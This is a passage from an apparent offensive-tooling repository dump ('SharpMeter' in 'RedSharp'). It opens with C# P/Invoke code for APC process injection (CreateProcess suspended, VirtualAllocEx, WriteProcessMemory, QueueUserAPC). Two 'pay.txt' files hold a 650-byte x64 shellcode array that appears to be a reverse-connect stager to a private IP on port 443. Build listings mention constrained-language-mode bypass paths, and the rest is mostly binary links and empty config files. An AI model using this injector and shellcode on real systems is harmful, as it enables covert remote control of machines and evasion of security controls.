91 | IntPtr ptr = QueueUserAPC(resultPtr, sht, IntPtr.Zero);
92 |
93 | IntPtr ThreadHandle = pi.hThread;
94 | ResumeThread(ThreadHandle);
95 |
96 | }
97 | catch (Exception ex)
98 | {
99 |
100 | throw;
101 | }
102 | }
103 |
104 | private static UInt32 MEM_COMMIT = 0x1000;
105 | private static UInt32 STARTF_USESHOWWINDOW = 0x00000001;
106 | private static UInt32 PAGE_READWRITE = 0x04;
107 | private static UInt32 PAGE_EXECUTE_READ = 0x20;
108 |
109 |
110 | [Flags]
111 | public enum ProcessAccessFlags : uint
112 | {
113 | All = 0x001F0FFF,
114 | Terminate = 0x00000001,
115 | CreateThread = 0x00000002,
116 | VirtualMemoryOperation = 0x00000008,
117 | VirtualMemoryRead = 0x00000010,
118 | VirtualMemoryWrite = 0x00000020,
119 | DuplicateHandle = 0x00000040,
120 | CreateProcess = 0x000000080,
121 | SetQuota = 0x00000100,
122 | SetInformation = 0x00000200,
123 | QueryInformation = 0x00000400,
124 | QueryLimitedInformation = 0x00001000,
125 | Synchronize = 0x00100000
126 | }
127 |
128 | [Flags]
129 | public enum ProcessCreationFlags : uint
130 | {
131 | ZERO_FLAG = 0x00000000,
132 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
133 | CREATE_DEFAULT_ERROR_MODE = 0x04000000,
134 | CREATE_NEW_CONSOLE = 0x00000010,
135 | CREATE_NEW_PROCESS_GROUP = 0x00000200,
136 | CREATE_NO_WINDOW = 0x08000000,
137 | CREATE_PROTECTED_PROCESS = 0x00040000,
138 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
139 | CREATE_SEPARATE_WOW_VDM = 0x00001000,
140 | CREATE_SHARED_WOW_VDM = 0x00001000,
141 | CREATE_SUSPENDED = 0x00000004,
142 | CREATE_UNICODE_ENVIRONMENT = 0x00000400,
143 | DEBUG_ONLY_THIS_PROCESS = 0x00000002,
144 | DEBUG_PROCESS = 0x00000001,
145 | DETACHED_PROCESS = 0x00000008,
146 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
147 | INHERIT_PARENT_AFFINITY = 0x00010000
148 | }
149 | public struct PROCESS_INFORMATION
150 | {
151 | public IntPtr hProcess;
152 | public IntPtr hThread;
153 | public uint dwProcessId;
154 | public uint dwThreadId;
155 | }
156 | public struct STARTUPINFO
157 | {
158 | public uint cb;
159 | public string lpReserved;
160 | public string lpDesktop;
161 | public string lpTitle;
162 | public uint dwX;
163 | public uint dwY;
164 | public uint dwXSize;
165 | public uint dwYSize;
166 | public uint dwXCountChars;
167 | public uint dwYCountChars;
168 | public uint dwFillAttribute;
169 | public uint dwFlags;
170 | public short wShowWindow;
171 | public short cbReserved2;
172 | public IntPtr lpReserved2;
173 | public IntPtr hStdInput;
174 | public IntPtr hStdOutput;
175 | public IntPtr hStdError;
176 | }
177 |
178 | private enum SW
179 | {
180 | SW_HIDE = 0,
181 | SW_SHOWNORMAL = 1,
182 | SW_NORMAL = 1,
183 | SW_SHOWMINIMIZED = 2,
184 | SW_SHOWMAXIMIZED = 3,
185 | SW_MAXIMIZE = 3,
186 | SW_SHOWNOACTIVATE = 4,
187 | SW_SHOW = 5,
188 | SW_MINIMIZE = 6,
189 | SW_SHOWMINNOACTIVE = 7,
190 | SW_SHOWNA = 8,
191 | SW_RESTORE = 9,
192 | SW_SHOWDEFAULT = 10,
193 | SW_MAX = 10
194 | }
195 |
196 | [Flags]
197 | public enum ThreadAccess : int
198 | {
199 | TERMINATE = (0x0001),
200 | SUSPEND_RESUME = (0x0002),
201 | GET_CONTEXT = (0x0008),
202 | SET_CONTEXT = (0x0010),
203 | SET_INFORMATION = (0x0020),
204 | QUERY_INFORMATION = (0x0040),
205 | SET_THREAD_TOKEN = (0x0080),
206 | IMPERSONATE = (0x0100),
207 | DIRECT_IMPERSONATION = (0x0200)
208 | }
209 |
210 | [DllImport("kernel32.dll", SetLastError = true)]
211 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
212 | int dwThreadId);
213 |
214 | [DllImport("kernel32.dll", SetLastError = true)]
215 | public static extern bool WriteProcessMemory(
216 | IntPtr hProcess,
217 | IntPtr lpBaseAddress,
218 | byte[] lpBuffer,
219 | int nSize,
220 | out IntPtr lpNumberOfBytesWritten);
221 |
222 | [DllImport("kernel32.dll")]
223 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
224 |
225 | [DllImport("kernel32")]
226 | public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
227 | Int32 size, UInt32 flAllocationType, UInt32 flProtect);
228 | [DllImport("kernel32.dll", SetLastError = true)]
229 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
230 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
231 |
232 | [DllImport("kernel32.dll", SetLastError = true)]
233 | public static extern IntPtr OpenProcess(
234 | ProcessAccessFlags processAccess,
235 | bool bInheritHandle,
236 | int processId
237 | );
238 |
239 |
240 | [DllImport("kernel32.dll")]
241 | public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
242 | [DllImport("kernel32.dll")]
243 | public static extern uint ResumeThread(IntPtr hThread);
244 | [DllImport("kernel32.dll")]
245 | public static extern uint SuspendThread(IntPtr hThread);
246 | [DllImport("kernel32.dll")]
247 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
248 | int dwSize, uint flNewProtect, out uint lpflOldProtect);
249 | }
250 | }
251 |
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/System.Net.Http.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/System.Net.Http.dll
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/pay.txt:
--------------------------------------------------------------------------------
1 | byte[] buf = new byte[650] {
2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
16 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
17 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
18 | 0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x01,0x68,0x41,0x54,0x49,0x89,0xe4,
19 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
20 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
21 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
22 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
23 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
24 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
25 | 0xe8,0x1f,0x01,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
26 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
27 | 0x83,0xf8,0x00,0x0f,0x8e,0x6d,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5e,0x89,
28 | 0xf6,0x81,0xf6,0xa0,0x05,0xa2,0xd3,0x4c,0x8d,0x9e,0x00,0x01,0x00,0x00,0x6a,
29 | 0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,
30 | 0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x8d,0x98,0x00,0x01,0x00,
31 | 0x00,0x49,0x89,0xdf,0x53,0x56,0x50,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
32 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,
33 | 0x20,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,
34 | 0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,
35 | 0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x20,0xff,0xff,
36 | 0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x75,0xb3,0x49,0x89,0xfe,0x5f,0x59,0x41,
37 | 0x59,0x41,0x56,0xe8,0x10,0x00,0x00,0x00,0x34,0x2a,0x68,0x7e,0xa2,0xd0,0x53,
38 | 0x60,0xc9,0x53,0x10,0x7a,0xcb,0xe8,0x3e,0x08,0x5e,0x48,0x31,0xc0,0x49,0x89,
39 | 0xf8,0xaa,0xfe,0xc0,0x75,0xfb,0x48,0x31,0xdb,0x41,0x02,0x1c,0x00,0x48,0x89,
40 | 0xc2,0x80,0xe2,0x0f,0x02,0x1c,0x16,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,
41 | 0x41,0x88,0x14,0x00,0xfe,0xc0,0x75,0xe3,0x48,0x31,0xdb,0xfe,0xc0,0x41,0x02,
42 | 0x1c,0x00,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,0x41,0x88,0x14,0x00,0x41,
43 | 0x02,0x14,0x18,0x41,0x8a,0x14,0x10,0x41,0x30,0x11,0x49,0xff,0xc1,0x48,0xff,
44 | 0xc9,0x75,0xdb,0x5f,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,
45 | 0xb5,0xa2,0x56,0xff,0xd5 };
46 |
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/sharpmeter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/sharpmeter.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/sharpmeter.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/sharpmeter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/sharpmeter.pdb
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/sharpmeter.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/Debug/sharpmeter.vshost.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/Debug/sharpmeter.vshost.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/System.Net.Http.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/System.Net.Http.dll
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/pay.txt:
--------------------------------------------------------------------------------
1 | byte[] buf = new byte[650] {
2 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
3 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
4 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
5 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
6 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
7 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
8 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
9 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
10 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
11 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
12 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
13 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
14 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
15 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
16 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
17 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
18 | 0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x01,0x68,0x41,0x54,0x49,0x89,0xe4,
19 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
20 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
21 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
22 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
23 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
24 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
25 | 0xe8,0x1f,0x01,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
26 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
27 | 0x83,0xf8,0x00,0x0f,0x8e,0x6d,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5e,0x89,
28 | 0xf6,0x81,0xf6,0xa0,0x05,0xa2,0xd3,0x4c,0x8d,0x9e,0x00,0x01,0x00,0x00,0x6a,
29 | 0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,
30 | 0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x8d,0x98,0x00,0x01,0x00,
31 | 0x00,0x49,0x89,0xdf,0x53,0x56,0x50,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
32 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,
33 | 0x20,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,
34 | 0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,
35 | 0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x20,0xff,0xff,
36 | 0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x75,0xb3,0x49,0x89,0xfe,0x5f,0x59,0x41,
37 | 0x59,0x41,0x56,0xe8,0x10,0x00,0x00,0x00,0x34,0x2a,0x68,0x7e,0xa2,0xd0,0x53,
38 | 0x60,0xc9,0x53,0x10,0x7a,0xcb,0xe8,0x3e,0x08,0x5e,0x48,0x31,0xc0,0x49,0x89,
39 | 0xf8,0xaa,0xfe,0xc0,0x75,0xfb,0x48,0x31,0xdb,0x41,0x02,0x1c,0x00,0x48,0x89,
40 | 0xc2,0x80,0xe2,0x0f,0x02,0x1c,0x16,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,
41 | 0x41,0x88,0x14,0x00,0xfe,0xc0,0x75,0xe3,0x48,0x31,0xdb,0xfe,0xc0,0x41,0x02,
42 | 0x1c,0x00,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,0x41,0x88,0x14,0x00,0x41,
43 | 0x02,0x14,0x18,0x41,0x8a,0x14,0x10,0x41,0x30,0x11,0x49,0xff,0xc1,0x48,0xff,
44 | 0xc9,0x75,0xdb,0x5f,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,
45 | 0xb5,0xa2,0x56,0xff,0xd5 };
46 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpmeter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpmeter.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpmeter.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpmeter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpmeter.pdb
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpmeter.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpthrough.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpthrough.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpthrough.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x64/Debug/sharpthrough.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x64/Debug/sharpthrough.pdb
--------------------------------------------------------------------------------
/SharpMeter/bin/x86/Debug/System.Net.Http.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/System.Net.Http.dll
--------------------------------------------------------------------------------
/SharpMeter/bin/x86/Debug/sharpmeter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/sharpmeter.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/x86/Debug/sharpmeter.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/bin/x86/Debug/sharpmeter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/sharpmeter.pdb
--------------------------------------------------------------------------------
/SharpMeter/bin/x86/Debug/sharpmeter.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/bin/x86/Debug/sharpmeter.vshost.exe
--------------------------------------------------------------------------------
/SharpMeter/bin/x86/Debug/sharpmeter.vshost.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpMeter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SharpMeter/obj/Debug/SharpMeter.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\sharpmeter.exe.config
2 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\sharpmeter.exe
3 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\sharpmeter.pdb
4 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\System.Net.Http.dll
5 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\Debug\System.Net.Http.xml
6 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\Debug\sharpmeter.exe
7 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\Debug\sharpmeter.pdb
8 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\Debug\SharpMeter.csprojResolveAssemblyReference.cache
9 |
--------------------------------------------------------------------------------
/SharpMeter/obj/Debug/SharpMeter.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/SharpMeter.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/SharpMeter/obj/Debug/sharpmeter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/sharpmeter.exe
--------------------------------------------------------------------------------
/SharpMeter/obj/Debug/sharpmeter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/Debug/sharpmeter.pdb
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/SharpMeter.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\sharpmeter.exe.config
2 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\sharpmeter.exe
3 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\sharpmeter.pdb
4 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\System.Net.Http.dll
5 | C:\temp2\temp\PSBypassCLM\SharpMeter\bin\x64\Debug\System.Net.Http.xml
6 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x64\Debug\sharpmeter.exe
7 | C:\temp2\temp\PSBypassCLM\SharpMeter\obj\x64\Debug\sharpmeter.pdb
8 |
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/SharpThrough.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe.config
2 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe
3 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.pdb
4 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.dll
5 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.xml
6 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\SharpThrough.csprojResolveAssemblyReference.cache
7 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.exe
8 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.pdb
9 |
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/sharpmeter.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpmeter.exe
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/sharpmeter.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpmeter.pdb
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/sharpthrough.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpthrough.exe
--------------------------------------------------------------------------------
/SharpMeter/obj/x64/Debug/sharpthrough.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x64/Debug/sharpthrough.pdb
--------------------------------------------------------------------------------
/SharpMeter/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpMeter/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SharpMeter/obj/x86/Debug/SharpMeter.csproj.FileListAbsolute.txt:
